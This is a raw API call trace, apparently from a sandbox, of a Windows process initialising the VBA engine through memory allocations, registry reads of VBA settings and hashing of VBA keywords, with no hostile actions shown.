	[0049.923] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xba54010
	[0049.923] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x75e5370
	[0049.923] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xba540a0
	[0049.923] IMalloc:Realloc (This=0x7feffc15380, pv=0xba540a0, cb=0x280) returned 0x74ef710
	[0049.924] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbace250
	[0049.924] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbace270
	[0049.924] strcpy_s (in: _Dst=0x26fab0, _DstSize=0xc8, _Src="Software\\Microsoft\\VBA\\" | out: _Dst="Software\\Microsoft\\VBA\\") returned 0x0
	[0049.924] strcat_s (in: _Destination="Software\\Microsoft\\VBA\\", _SizeInBytes=0xc8, _Source="7.1\\Common" | out: _Destination="Software\\Microsoft\\VBA\\7.1\\Common") returned 0x0
	[0049.924] RegCreateKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x7fee61404a8, lpdwDisposition=0x0 | out: phkResult=0x7fee61404a8*=0xca8, lpdwDisposition=0x0) returned 0x0
	[0049.924] RegQueryValueExA (in: hKey=0xca8, lpValueName="RequireDeclaration", lpReserved=0x0, lpType=0x26fb88, lpData=0x26fb80, lpcbData=0x26fb84*=0x4 | out: lpType=0x26fb88*=0x0, lpData=0x26fb80*=0x54, lpcbData=0x26fb84*=0x4) returned 0x2
	[0049.925] RegQueryValueExA (in: hKey=0xca8, lpValueName="CompileOnDemand", lpReserved=0x0, lpType=0x26fb88, lpData=0x26fb80, lpcbData=0x26fb84*=0x4 | out: lpType=0x26fb88*=0x0, lpData=0x26fb80*=0x0, lpcbData=0x26fb84*=0x4) returned 0x2
	[0049.925] RegQueryValueExA (in: hKey=0xca8, lpValueName="NotifyUserBeforeStateLoss", lpReserved=0x0, lpType=0x26fb88, lpData=0x26fb80, lpcbData=0x26fb84*=0x4 | out: lpType=0x26fb88*=0x0, lpData=0x26fb80*=0x1, lpcbData=0x26fb84*=0x4) returned 0x2
	[0049.925] RegQueryValueExA (in: hKey=0xca8, lpValueName="BackGroundCompile", lpReserved=0x0, lpType=0x26fb88, lpData=0x26fb80, lpcbData=0x26fb84*=0x4 | out: lpType=0x26fb88*=0x0, lpData=0x26fb80*=0x0, lpcbData=0x26fb84*=0x4) returned 0x2
	[0049.925] RegQueryValueExA (in: hKey=0xca8, lpValueName="BreakOnAllErrors", lpReserved=0x0, lpType=0x26fb88, lpData=0x26fb80, lpcbData=0x26fb84*=0x4 | out: lpType=0x26fb88*=0x0, lpData=0x26fb80*=0xff, lpcbData=0x26fb84*=0x4) returned 0x2
	[0049.925] RegQueryValueExA (in: hKey=0xca8, lpValueName="BreakOnServerErrors", lpReserved=0x0, lpType=0x26fb88, lpData=0x26fb80, lpcbData=0x26fb84*=0x4 | out: lpType=0x26fb88*=0x0, lpData=0x26fb80*=0x0, lpcbData=0x26fb84*=0x4) returned 0x2
	[0049.925] RegCloseKey (hKey=0xca8) returned 0x0
	[0049.925] IMalloc:Alloc (This=0x7feffc15380, cb=0xc0) returned 0xba496a0
	[0049.925] IMalloc:Alloc (This=0x7feffc15380, cb=0xc0) returned 0xba49770
	[0049.925] IMalloc:Alloc (This=0x7feffc15380, cb=0x1300) returned 0xbaa2ea0
	[0049.925] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x5320000
	[0049.926] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x54c0000
	[0049.927] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5
	[0049.927] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0xb95b500
	[0049.927] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x5330000
	[0049.927] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1
	[0049.927] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x5360000
	[0049.928] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x5650000
	[0049.929] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x5660000
	[0049.929] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Intrinsics") returned 0x109464
	[0049.930] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x5670000
	[0049.931] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d
	[0049.931] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="<BUILT-IN>") returned 0x10c0b3
	[0049.932] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0x4ed5af0
	[0049.934] GetProcAddress (hModule=0x7fee5ac0000, lpProcName=0x7fee610b088) returned 0x7fee5acfcd0
	[0049.934] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x57a0000
	[0049.934] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x6960000
	[0049.942] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0x4ed6390
	[0049.942] CExposedStream::AddRef () returned 0x2
	[0049.942] CExposedStream::Release () returned 0x1
	[0049.942] CExposedStream::Release () returned 0x0
	[0049.942] IMalloc:Free (This=0x7feffc15380, pv=0x4ed6390) 
	[0049.942] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047
	[0049.942] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0xb95b540
	[0049.942] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x57b0000
	[0049.944] VirtualAlloc (lpAddress=0x6960000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x6960000
	[0049.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Abs") returned 0x1072bc
	[0049.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Access") returned 0x101d98
	[0049.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="AddressOf") returned 0x10e252
	[0049.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Alias") returned 0x10bf6d
	[0049.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="And") returned 0x107469
	[0049.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Any") returned 0x10747a
	[0049.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Append") returned 0x108f83
	[0049.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183
	[0049.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0049.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Assert") returned 0x1096e9
	[0049.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B") returned 0x101059
	[0049.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Base") returned 0x10afa9
	[0049.945] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="BF") returned 0x105ca5
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Binary") returned 0x1008a0
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Boolean") returned 0x10978e
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByRef") returned 0x1074ef
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Byte") returned 0x101a83
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Call") returned 0x10744b
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Case") returned 0x107547
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CBool") returned 0x104c74
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CByte") returned 0x106d3c
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CCur") returned 0x108050
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDate") returned 0x108dc3
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDec") returned 0x10834a
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDbl") returned 0x1082e4
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDecl") returned 0x10a0b9
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ChDir") returned 0x10b2fb
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CInt") returned 0x109f65
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Circle") returned 0x103fd1
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLng") returned 0x10af63
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Close") returned 0x1005ab
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Compare") returned 0x10af82
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Const") returned 0x10517a
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CSng") returned 0x10d4d2
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CStr") returned 0x10d5bb
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir$") returned 0x10f7cc
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVar") returned 0x10e307
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVDate") returned 0x10cfd6
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVErr") returned 0x108902
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Currency") returned 0x10f106
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Database") returned 0x10eec7
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date$") returned 0x1031c7
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a
	[0049.946] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Debug") returned 0x10eaee
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Decimal") returned 0x1036dd
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefBool") returned 0x1091ad
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefByte") returned 0x10b275
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefCur") returned 0x10cc45
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDate") returned 0x10d2fc
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDec") returned 0x10cf3f
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDbl") returned 0x10ced9
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefInt") returned 0x10eb5a
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLng") returned 0x10fb58
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefObj") returned 0x10096b
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefSng") returned 0x102088
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefStr") returned 0x102171
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefVar") returned 0x102ebd
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir$") returned 0x106567
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Do") returned 0x105cf8
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DoEvents") returned 0x109634
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Double") returned 0x100d99
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Each") returned 0x10fe75
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Else") returned 0x103b56
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ElseIf") returned 0x10f307
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Empty") returned 0x10f4f1
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="EndIf") returned 0x1078bd
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Enum") returned 0x10465a
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Eqv") returned 0x108a4e
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Erase") returned 0x1080da
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error$") returned 0x10cf60
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Event") returned 0x10ac4b
	[0049.947] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Exit") returned 0x107a1f
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Explicit") returned 0x10edcb
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="F") returned 0x10105d
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Fix") returned 0x108e81
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="For") returned 0x108f59
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format$") returned 0x10efc7
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="FreeFile") returned 0x10483a
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Friend") returned 0x10bd1c
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Get") returned 0x109342
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Global") returned 0x10f88f
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Go") returned 0x105d67
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoSub") returned 0x10b425
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoTo") returned 0x10d70b
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Imp") returned 0x109f18
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Implements") returned 0x10a988
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="In") returned 0x105db0
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input$") returned 0x107767
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB$") returned 0x100c59
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStr") returned 0x10120e
	[0049.948] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStrB") returned 0x10c2fb
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Int") returned 0x109f41
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Integer") returned 0x10b48a
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Is") returned 0x105db5
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LBound") returned 0x101e0b
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Len") returned 0x10adf9
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LenB") returned 0x107cfb
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Let") returned 0x10adff
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Like") returned 0x1091f3
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Line") returned 0x109262
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LINEINPUT") returned 0x1008f1
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Load") returned 0x10b096
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Local") returned 0x10353f
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lock") returned 0x10b0e7
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Loop") returned 0x10b2a8
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LSet") returned 0x10c69e
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Me") returned 0x105e3b
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid$") returned 0x10566d
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB$") returned 0x102a70
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mod") returned 0x10b4ba
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Module") returned 0x101ee1
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Name") returned 0x10f2f0
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="New") returned 0x10b8b3
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Next") returned 0x1009bb
	[0049.949] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Not") returned 0x10ba23
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Nothing") returned 0x105f21
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Null") returned 0x105d87
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="On") returned 0x105e8e
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Option") returned 0x10f982
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Optional") returned 0x10675a
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Or") returned 0x105e92
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Output") returned 0x10f959
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ParamArray") returned 0x105941
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Preserve") returned 0x10a5fc
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Print") returned 0x10f00d
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Property") returned 0x10d2f6
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PSet") returned 0x10dd55
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Public") returned 0x101287
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Put") returned 0x10c5b3
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RaiseEvent") returned 0x10274a
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Random") returned 0x10f428
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Randomize") returned 0x10ab02
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Read") returned 0x101d0f
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ReDim") returned 0x10eea8
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Rem") returned 0x10ce0e
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Resume") returned 0x10728b
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Return") returned 0x1038eb
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RGB") returned 0x10ce4d
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RSet") returned 0x106891
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Scale") returned 0x10e596
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Seek") returned 0x10e387
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Select") returned 0x10cabd
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Set") returned 0x10d36e
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sgn") returned 0x10d3b2
	[0049.950] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Shared") returned 0x10479e
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Single") returned 0x10a99f
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Spc") returned 0x10d4f4
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Static") returned 0x1029c6
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Step") returned 0x103384
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Stop") returned 0x1034f6
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrComp") returned 0x10274d
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String$") returned 0x10c31c
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Tab") returned 0x10d821
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Text") returned 0x10abed
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Then") returned 0x10b933
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="To") returned 0x105f48
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Type") returned 0x100007
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TypeOf") returned 0x101832
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="UBound") returned 0x10ea71
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unload") returned 0x104e44
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unlock") returned 0x104e95
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Until") returned 0x10ecec
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Variant") returned 0x108738
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Wend") returned 0x1035a7
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="While") returned 0x10a25c
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Width") returned 0x104e68
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="With") returned 0x104bed
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WithEvents") returned 0x10f2eb
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Write") returned 0x105c2e
	[0049.951] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Xor") returned 0x10ef9b
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Const") returned 0x10f8c9
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Else") returned 0x1050dd
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#ElseIf") returned 0x10e5b5
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#End") returned 0x10d478
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#If") returned 0x10d383
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Control") returned 0x10a946
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Description") returned 0x1009d0
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Ext_KEY") returned 0x10a88e
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_HelpID") returned 0x103e41
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Func") returned 0x10c92c
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Property") returned 0x107f4a
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPut") returned 0x106658
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPutRef") returned 0x105b25
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_MemberFlags") returned 0x108db7
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7
	[0049.952] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_ProcData") returned 0x107005
